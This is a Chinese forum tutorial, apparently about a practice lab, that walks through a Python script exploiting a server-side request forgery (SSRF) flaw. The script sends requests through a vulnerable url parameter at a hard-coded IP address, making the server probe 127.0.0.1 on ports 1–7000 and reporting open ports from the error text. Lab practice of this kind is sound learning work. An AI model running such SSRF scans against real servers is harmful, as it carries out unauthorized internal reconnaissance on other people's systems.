SSRF靶场 python脚本编写

君叹   ·   发表于 2021-08-10 21:30:40   ·   技术文章

根据url传参写个脚本

先导入requests模块

import requests

用来对网页进行访问
构造 pd() 函数,用于判断端口是否开放
根据页面内容可得知
如果返回值中包含
“CURL Error:Failed connect to 127.0.0.1:1; Connection refused”
这串字符
则为端口不存在
那么我们需要用到正则表达式
那么导入re模块

import re

那么构造函数
判断一个字符串对象是否存在
“CURL Error”
存在返回Flase
不存在返回True

def pd(string):
    '''
    string: 用于判断的文本内容
    '''
    valid = re.search("(CURL Error:Failed connect to)", string)
    if valid:
        return False
    return True

再构造访问函数
reponse()
用来请求页面并接受返回值

def reponse(port):
    url = f'http://59.63.200.79:8019/index.php?url=http%3A%2F%2F127.0.0.1%3A{port}'
    res = requests.get(url)
    if pd(res.text):
        print(f"[+] {port} Open")

然后构建启动函数
判断 1-7000端口
哪些开放

def main():
    for i in range(1, 7000):
        reponse(i)

运行


if __name__ == '__main__':
    main()

发现还是很OK的

完整代码

import requests
import re


def pd(string):
    valid = re.search("(CURL Error:Failed connect to)", string)
    if valid:
        return False
    return True


def reponse(port):
    url = f'http://59.63.200.79:8019/index.php?url=http%3A%2F%2F127.0.0.1%3A{port}'
    res = requests.get(url)
    if pd(res.text):
        print(f"[+] {port} Open")


def main():
    for i in range(1, 7000):
        reponse(i)


if __name__ == '__main__':
    main()
用户名金币积分时间理由
Track-聂风 15.00 0 2021-08-14 16:04:33 额外打赏 - 限时活动
Track-聂风 30.00 0 2021-08-14 16:04:19 一个受益终生的帖子~~

打赏我,让我更有动力~

2 条回复   |  直到 2021-8-23 | 1675 次浏览

spider
发表于 2021-8-18

不错不错

评论列表

  • 加载数据中...

编写评论内容

小酒
发表于 2021-8-23

我也学了python . 只是才刚刚进来.网络安全才学到了sql注入

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.